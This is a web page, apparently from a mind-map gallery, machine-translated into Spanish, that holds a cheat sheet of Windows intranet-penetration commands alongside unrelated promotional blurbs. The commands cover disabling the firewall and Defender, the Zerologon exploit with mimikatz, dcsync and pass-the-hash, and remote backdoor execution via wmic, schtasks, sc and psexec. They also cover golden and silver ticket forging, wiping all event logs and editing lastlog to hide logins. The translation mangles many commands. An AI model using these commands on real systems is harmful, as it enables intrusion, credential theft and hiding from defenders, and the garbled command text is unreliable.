Galería de mapas mentales Comandos comunes para la penetración en la intranet
Respuesta de emergencia completa de operación y mantenimiento de seguridad de la red, incluida la recopilación de información, búsqueda de archivos, Tareas remotas y programadas, Reenvío de puertos, puerta trasera, Herramientas, adquisición de información, Limpieza de trazas, etc.
Editado a las 2024-03-22 14:57:47,Este es un mapa mental sobre una breve historia del tiempo. "Una breve historia del tiempo" es una obra de divulgación científica con una influencia de gran alcance. No sólo presenta los conceptos básicos de cosmología y relatividad, sino que también analiza los agujeros negros y la expansión. del universo. temas científicos de vanguardia como la inflación y la teoría de cuerdas.
¿Cuáles son los métodos de fijación de precios para los subcontratos de proyectos bajo el modelo de contratación general EPC? EPC (Ingeniería, Adquisiciones, Construcción) significa que el contratista general es responsable de todo el proceso de diseño, adquisición, construcción e instalación del proyecto, y es responsable de los servicios de operación de prueba.
Los puntos de conocimiento que los ingenieros de Java deben dominar en cada etapa se presentan en detalle y el conocimiento es completo, espero que pueda ser útil para todos.
Este es un mapa mental sobre una breve historia del tiempo. "Una breve historia del tiempo" es una obra de divulgación científica con una influencia de gran alcance. No sólo presenta los conceptos básicos de cosmología y relatividad, sino que también analiza los agujeros negros y la expansión. del universo. temas científicos de vanguardia como la inflación y la teoría de cuerdas.
¿Cuáles son los métodos de fijación de precios para los subcontratos de proyectos bajo el modelo de contratación general EPC? EPC (Ingeniería, Adquisiciones, Construcción) significa que el contratista general es responsable de todo el proceso de diseño, adquisición, construcción e instalación del proyecto, y es responsable de los servicios de operación de prueba.
Los puntos de conocimiento que los ingenieros de Java deben dominar en cada etapa se presentan en detalle y el conocimiento es completo, espero que pueda ser útil para todos.
Comandos comunes para la penetración en la intranet
recoger mensaje
comando neto
tiempo neto/dominio grupo neto "administradores de dominio" /dominio grupo neto "controladores de dominio" /dominio administrador de usuarios de red/dominio nltest /domain_trusts Obtener relación de confianza de dominio nltest/dclist: participación neta vista neta \\dominioip net view /dominio Ver lista de dominios/grupos de trabajo net view /dominio:secwing Ver la lista de computadoras en el dominio de costura net config La estación de trabajo consulta a qué dominio pertenece la máquina netstat -ano |findstr cuentas netas Ver política de contraseña local
establecer Ver variables de entorno
nbtstat -Una consulta de ip netbiso whoami/todos qwinsta //Ver estado de inicio de sesión consultar usuario //Ver la última hora de inicio de sesión del administrador nltest /domain_trusts //Obtener información de confianza del dominio tareakill /f /im lista de tareas /svc Ver procesos lista de tareas /S ip /U dominio ombre de usuario /P /V //Ver la lista de procesos de la computadora remota tracert IP // Seguimiento de ruta route print //Imprimir tabla de enrutamiento arp -a //Listar todas las direcciones IP activas en este segmento de red arp -s (ip MAC) // Vincular dirección mac y dirección IP arp -d (ip MAC) //Desvincular direcciones mac e ip consulta de registro "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /ve Obtener registros de inicio de sesión recientes de mstsc setspn -Q \*/\* lista SPN
Búsqueda de archivos
findtr busca archivos que contienen contraseñas
findtr /si contraseña *.txt findtr /si contraseña *.xml findtr /si contraseña *.ini
directorio buscar ubicación del archivo
dir /b /s unattend.xml directorio /b /s web.config directorio /b /s sysprep.inf
De forma remota
Desactivar el cortafuegos
firewall netsh configurado en modo opmode=deshabilitar netsh advfirewall desactiva el estado de todos los perfiles
cerrarwindefend
parada neta
Restaurar el firewall a los valores predeterminados
restablecimiento del firewall netsh
Puerto abierto 3389
REG AGREGAR HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Servidor /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
CVE-2020-1472
privilegio::depurar sekurlsa::contraseñas de inicio de sesión lsadump::zerologon /objetivo:ip /cuenta:ADC1$ lsadump::zerologon /objetivo:ip /cuenta:ADC1$ /exploit lsadump::dcsync /dominio:DC2.com /dc:DC2 /usuario:administrador /authuser:DC2$ /authdomain:DC2 /authpassword:"" /authntlm sekurlsa::pth /usuario:administrador /dominio: /rc5:161cff084477fe596a5db81874498a24
IPC
uso neto \\ip\ipc$ contraseña /usuario:dominio\usuario uso neto [url=archivo://\\IP\ipc$]\\IP\ipc$[/url] contraseña /usuario:nombre de usuario@dominio copiar putty.exe \\192.168.0.100\admin$ tiempo neto \\192.168.0.100 en \\192.168.0.100 19:45 putty.exe uso neto Z: \\192.168.0.100\c$ Asigne la unidad c de destino al local directorio \\192.168.17.138\c$ copiar test.exe \\192.168.17.138\c$ uso neto * \\192.168.0.100 /del uso neto * /del /y uso neto * /del sesión de visualización de uso neto sesión neta
WMI
wmic qfe get hotfixid //Ver parches instalados, esto es muy práctico wmic qfe lista completa /formato:htable > hotfixes.htm //Instalación detallada del parche wmic qfe // Consultar información del parche y dirección de descarga proporcionada por Microsoft ping hostname (nombre de host) // Mostrar la IP del nombre de la máquina wmic share get name,path //Ver la ruta señalada por SMB wmic nteventlog get path,filename,writeable //Consulta la ubicación de almacenamiento de los archivos de registro del sistema Resumen de la lista de servicios de wmic //Ver servicios de proceso Resumen de la lista de procesos de WMIC //Ver proceso Resumen de la lista de inicio de wmic //Ver información del programa de inicio Resumen de la lista de productos de wmic //Ver el programa de instalación y la información de la versión (pistas de explotación de vulnerabilidades) Lista de inicio de wmic completa //Identificar programas iniciados en el arranque proceso wmic donde(descripción="mysqld.exe") >> mysql.log //Obtener la ruta de instalación del software wmic /nodo:ip /usuario: /p pwd llamada de proceso crear c:\backdoor.exe wmic /nodo /usuario: /contraseña: proceso donde termina e name="cmd.exe" cll wmic /nodo:10.10.10.11 /usuario:administrador /contraseña:1qaz@WSX llamada de proceso crear "cmd.exe /c ipconfig>c:\result.txt" WMIcmd.exe -h 192.168.1.152 -d nombre de host -u pt007 -p admin123 -c "ipconfig" proceso wmic /nodo /usuario /contraseña donde nombre="cmd.exe" obtiene la línea de comando
Tareas programadas
Comando AT (abandonado por win server2012)
Establecer conexión de uso de red uso neto \\192.168.1.100\c$ 1qaz@WSX /dominio de usuario\usuario Copie el archivo bat a la computadora remota copiar exec.bat \\192.168.1.100\c$\windows\debug\exec.bat Ver el tiempo de la computadora remota tiempo neto \\192.168.1.100 Crear una nueva tarea programada remota en \\192.168.1.100 21.52 c:\windows\temp\exec.bat Ver la lista de tareas programadas remotas en \\192.168.1.100
tareas
Crear tarea schtasks /create /s ip /u administrador /contraseña /ru "sistema" /tn adduser(nombre) /sc DAILY(hora) /tr c:\windows\debug\add.bat /f Ejecutar tareas schtasks /run /s ip /u administrador /p contraseña /tn adduser /i schtasks /run /tn actualización /$ 10.10.10.137 /u prueba \administrador /p 1qaz@WSX Eliminar tarea schtasks /delete /s ip /u administrador /p contraseña /tn adduser /f
El comando de control de servicios SC, integrado en Microsoft, coopera con el intercambio de archivos y crea servicios de forma remota
Establecer conexión ipc y ejecutar SC uso neto \\192.168.17.138\c$ "admin123" /usuario:pt007 uso neto directorio \\192.168.17.138\c$ copiar test.exe \\192.168.17.138\c$ Crear servicio sc \\remote_ip crear nombre_servicios binpath= c:\backdoor.exe sc \\10.10.10.10 crear actualización binpath= c:\programdata\a.bat Comienza el servicio sc \\remote_ip iniciar nombre_servicios sc \\10.10.10.10 iniciar actualización Fuera de servicio sc \\remote_ip detener nombre_servicio sc \\10.10.10.10 detener la actualización Eliminar servicio sc \\remote_ip eliminar nombre_servicio sc \\10.10.10.10 eliminar actualización
reenvío de puertos
reenvío de puertos netsh
netsh firewall show config //Ver política de firewall netsh firewall show state //Ver política de firewall Habilitar reenvío de puertos interfaz netsh portproxy agregar v4tov4 dirección de escucha=dirección local puerto de escucha=puerto local dirección de conexión=dirección de destino puerto de conexión=puerto de destino abrir firewall netsh advfirewall firewall agregar regla nombre="firewallname" protocolo=TCP dir=in localip=ip localport=puerto acción=permitir Mostrar todas las reglas de reenvío interfaz netsh portproxy mostrar todo Eliminar reenviar interfaz netsh puertoproxy eliminar v4tov4 puerto de escucha = puerto dirección de escucha = ip reiniciar reinicio del proxy del puerto de la interfaz netsh
reenvío SSH
1.reenvío de puerto ssh ssh -L [<host local>:] <puerto local>:<host remoto>:<puerto remoto><nombre de host ssh> 2.reenvío de puerto inverso ssh ssh -R [<host local>:]<puerto local>:<host remoto>:<puerto remoto><nombre de host ssh> 3.proxy de calcetines ssh ssh -D [<host local>:] <puerto local><nombre de host ssh>
Puerta trasera
nota dorada
Condiciones y requisitos para las notas de oro: 1.Nombre de dominio 2. Valor SID del dominio whoami/usuario 3. Hash de contraseña NTLM de la cuenta Krbtgt del dominio 4. Nombre de usuario falsificado sekurlsa::pth /usuario:administrador /dominio:"GOD.org" /ntlm:61465a991b168727b65b3644aab823cd Dirección de dominio del usuario de inicio de sesión Valor de cifrado ntlm Aparecerá un cuadro CMD aquí. Primero verifiquemos si tenemos permiso usando el directorio \\OWA.GOD.org\c$ [Ver la unidad C del control de dominio]. directorio \\\\DC.zkaq.cn\c$ lsadump::dcsync /user:krbtgt /domain: Obtenga la contraseña de krbtgt [mimikatz simulará el control de dominio y solicitará la información de cuenta y contraseña del control de dominio de destino] Extrae el sid y el hashNTLM del interior. Kerberos :: GOLDEN /Admin: administrador /dominio:god.org /sign: S-1-5-21-2952760202-13539024381784089 /KRBTGT: 58e91a5886513AB2224312314000 61 /ticket:Administrator.kiribi [Facturas de producción] kerberos::ptt administrador.kiribi [cargar ticket] Inyección directa de billetes de oro. kerveros::golden /admin:ADMIINACCOUNTNAME /dominio:DOMAINFQDN /id:ACCOUNTRID /sid:domainsid /krbtgt:hash /ptt kerberos::purge borra tickets privilegio::depurar Espere a que el administrador inicie sesión para obtener la contraseña. mimikatz #privilegio::depurar Privilegio '20' OK mimikatz # misc::memssp Inyectado =) mimikatz #salida
notas de plata
Ver ID de usuario actual whoami/usuario Obtener el hash de la computadora de destino sekurlsa::contraseñas de inicio de sesión 1472 vulnerabilidad Generar billetes de plata kerberos::golden /sid:domainsid /domain:test.local /ptt /id: ID de usuario falso /target:mdc.test.local /service:cifs /rc: hash del equipo de destino /usuario: nombre de usuario falso
herramienta
dsquery
dsquery.exe usuario -limit 0#Consultar información del objeto del usuario grupo dsquery.exe -límite 0 #Consultar información del objeto del grupo dsquery.exe ou -limit 0#Consultar información del objeto OU dsquery usuario domainroot -limit 65535 && net user /domain //Listar todos los nombres de usuario en el dominio servidor dsquery -dominio supre.com | servidor dsget -dnsname -site //Busca todos los controladores de dominio en el dominio y muestra sus nombres de host DNS y nombres de sitios dsquery contact //Buscar contactos en el directorio dsquery subnet //Enumera las divisiones del segmento de red en este dominio dsquery group && net group /domain //Listar los grupos en este dominio dsquery ou //Listar unidades organizativas en este dominio dsquery server && net time /domain //Listar los controladores de dominio en este dominio dsquery site -o rdn //Busca todos los nombres de sitios en el dominio dsquery group dc=GOD,dc=org |más Buscar en todos los grupos en el dominio dc=god, dc=org Computadora dsquery.exe #Encuentre la computadora en el destino Sitio dsquery.exe #Buscar unidades organizativas en el directorio Servidor dsquery.exe #Busque la instancia de AD DC/LDS en el directorio
ADencontrar
AdFind -sc dclist #Listar nombres de controladores de dominio AdFind -sc computadoras_activas #Consulta las computadoras en línea en el dominio actual AdFind -sc equipos_nombre activo sistema operativo #Consulta los equipos en línea en el dominio actual (solo nombre para mostrar y sistema operativo) AdFind.exe -sc computadoras_nombre activo dnshostname #Consulta los hosts activos en el dominio y genera el nombre del host y el nombre de dominio AdFind -f "objectcategory=computadora" #Consulta todas las computadoras en el dominio actual AdFind -f "objectcategory=computadora" nombre sistema operativo #Consulta todas las computadoras en el dominio actual (solo se muestran el nombre y el sistema operativo) AdFind -nombre de usuarios #Consulta a todos los usuarios del dominio AdFind -sc gpodmp #Consulta todos los GPO AdFind -h 10.10.10.10 -u GOD\administrator -up 1qaz@WSX -sc u:* #Consulta la información detallada de todos los usuarios del dominio AdFind -h 10.10.10.10 -u GOD\administrator -up 1qaz@WSX -sc u:test #Consulta detalles de usuario específicos en el dominio AdFind -h 10.10.10.10 -u GOD\administrator -up 1qaz@WSX -sc u:test mail #Consulta información específica del usuario (correo) en el dominio AdFind -h 10.10.10.10 -u GOD\administrator -up 1qaz@WSX -sc u:* -dn #Consulta la información dn de todos los usuarios del dominio AdFind -h 10.10.10.10 -u GOD\administrator -up 1qaz@WSX -sc u:* -c #Consulta el número de usuarios en el dominio AdFind -h 10.10.10.10 -u GOD\administrator -up 1qaz@WSX -sc g:* #Consulta la información detallada de todos los grupos del dominio AdFind -h 10.10.10.10 -u GOD\administrator -up 1qaz@WSX -sc g:*Admin #Consulta la información detallada de todos los grupos en el dominio cuyo nombre de grupo contiene Admin AdFind -h 10.10.10.10 -u GOD\administrator -up 1qaz@WSX -sc o:* #Consulta todos los detalles de la unidad organizativa en el dominio AdFind -h 10.10.10.10 -u GOD\administrator -up 1qaz@WSX -sc c:* #Consulta información detallada de todas las computadoras del dominio AdFind -h 10.10.10.10 -u GOD\administrator -up 1qaz@WSX -sc s:* #Consulta la información detallada de todos los sitios del dominio
psexec paexec
psexec.exe -accepteula \\10.10.10.137 -u prueba\administrador -p 1qaz@WSX -i cmd.exe psexec.exe -accepteula -i -s -d cmd paexec.exe \\ip -u dominio\usuario -p pwd cmd.exe -noname uso neto \\ip pwd /u:dominio\usuario paexec.exe \\ip cmd.exe netsh winhttp sh proxy ver proxy
Multiplexación de puertos winrm en la red
winrm configuración rápida -q winrm s winrm/config/Cliente @{TrustedHosts="*"} Monitoreo del puerto 80 agregado winrm establece winrm/config/service @{EnableCompatibilityHttpListener="true"} Modificar 5985 a 80 winrm set winrm/config/Listener?Address=* Transprot=HTTP @{port=80} Modificar el puerto WinRM al puerto web winrs -r:http://xx -u:DC20\administratror -p:1qaz@WSX cmd
Acceso a la información
vista eléctrica
carga Módulo Imoport .\PowerView.ps1 #Ejecutar la solicitud Get-DomainGroup #Consulta detalles del grupo Get-DomainOU #Consulta la información detallada de OU Get-DomainUser #Consultar detalles del usuario
psloggendon.exe
nombre de usuario psloggedon.exe -l solo muestra los usuarios que han iniciado sesión localmente y no muestra otros usuarios que han iniciado sesión en la red -x no muestra la hora de inicio de sesión Muestra que el usuario actualmente conectado a la máquina remota puede escribir: psloggedon \\ ip de la máquina remota Agregue -accepteula por primera vez para no mostrar información de derechos de autor.
netsess.exe
netsess.exe \\PRIMARIO
PVEFindADUser.exe
PVEFindADUser.exe -actual
wevtutil
wevtutil epl Seguridad C:\log.evtx /q:"*[EventData[Data[@Name='LogonType']='3'] y System[(EventID=4624) y TimeCreated[timediff(@SystemTime) <= 259200000 ]]]" /r:IP del equipo remoto /u:nombre de usuario/p:contraseña #epl registro de exportación #Seguridad significa registro de seguridad #C:\log.evtx representa la ubicación del registro exportado. Si se exporta de forma remota, se exportará a la computadora remota. #/q: representa la declaración de consulta de registro #System[(EventID=4624) representa el ID de tiempo de 4624, que es el registro del inicio de sesión exitoso del usuario. #EventData[Data[@Name='LogonType']='3'] significa que el tipo de inicio de sesión es inicio de sesión de red #TimeCreated[timediff(@System Time) <= 259200000] significa que solo se exportarán los registros del último mes. La unidad de 259200000 es milisegundos. Puede cambiar el tamaño del número según las necesidades reales. #Si exporta localmente, no necesita especificar la opción /r. Para conocer más sobre el uso de #wevtutil, consulte su documentación de ayuda, que puede usarse para eliminar registros de Windows.
analizador de registros
LogParser.exe -i:EVT -o csv "SELECCIONE distinto TO_UPPERCASE(EXTRACT_TOKEN(Strings,5,'|')) como NOMBRE DE USUARIO,TO_UPPERCASE(EXTRACT_TOKEN(Strings,18,'|')) como SOURCE_IP FROM C:\*. evtx" > C:\log.csv # -i:EVT significa que el formato de entrada del registro es evtx # -o csv significa que el formato de salida es csv # El contenido entre comillas dobles es la declaración de consulta. # distinto significa deduplicar los resultados # TO_UPPERCASE(EXTRACT_TOKEN(Strings,5,'|')) as USERNAME Analiza el nombre del registro del registro de inicio de sesión # USERNAME,TO_UPPERCASE(EXTRACT_TOKEN(Strings,18,'|')) Analiza la fuente de inicio de sesión del registro de inicio de sesión # *.evtx puede procesar múltiples archivos de registro al mismo tiempo # Puede ver los detalles del registro de inicio de sesión mediante el siguiente comando LogParser.exe -i:EVT -o:DATAGRID "seleccione * de *.evtx"
limpieza de rastros
wevtutil
wevtutil el enumera los nombres de todos los registros en el sistema El sistema wevtutil cl borra los registros del sistema La aplicación wevtutil cl limpia los registros de la aplicación wevtutil cl seguridad borra los registros de seguridad for /f "delims=" %j in('wevtutil.exe el') hacer @wevtutil.exe cl "%j" c:\windows\system32\winevt\logs\
defensor de ventanas
"C:\PROGRA~1\WINDOW~1\mpcmdrun.exe" -Restaurar -ListAll powershell -Comando Agregar-MpPreference -ExclusionPath "C:\tmp" powershell -Comando Agregar-MpPreference -ExclusionExtension".java" powershell -Comando Agregar-MpPreference -ExclusionProcess "*.exe" powershell -Comando Obtener-MpPreference
información de inicio de sesión ssh
/var/log/btmp registra toda la información de falla de inicio de sesión, use el comando lastb para ver /var/log/lastlog registra el último registro de tiempo de inicio de sesión de todos los usuarios en el sistema. Utilice el comando lastlog para verlo. /var/log/wtmp registra la información de inicio y cierre de sesión de todos los usuarios, use el último comando para ver /var/log/utmp registra la información del usuario actualmente conectado, use w, who, usuarios y otros comandos para ver /var/log/secure records información de registro relacionada con la seguridad /var/log/message registra información y registros de errores después del inicio del sistema El último registro de inicio de sesión que se muestra al iniciar sesión en ssh última hora de inicio de sesión desde n ip Grabado en el archivo /var/log/lastlog ~/.ssh/known_hosts Puedes usar sed para reemplazar sed -i 's/propia ip/ip original' /var/log/lastlog sed -i '/fecha de hoy/'nombre de archivo Inicie sesión en el sistema de forma invisible y no será detectado por w, who, last y otros comandos ssh -T raíz@192.168.01 /bin/bash -i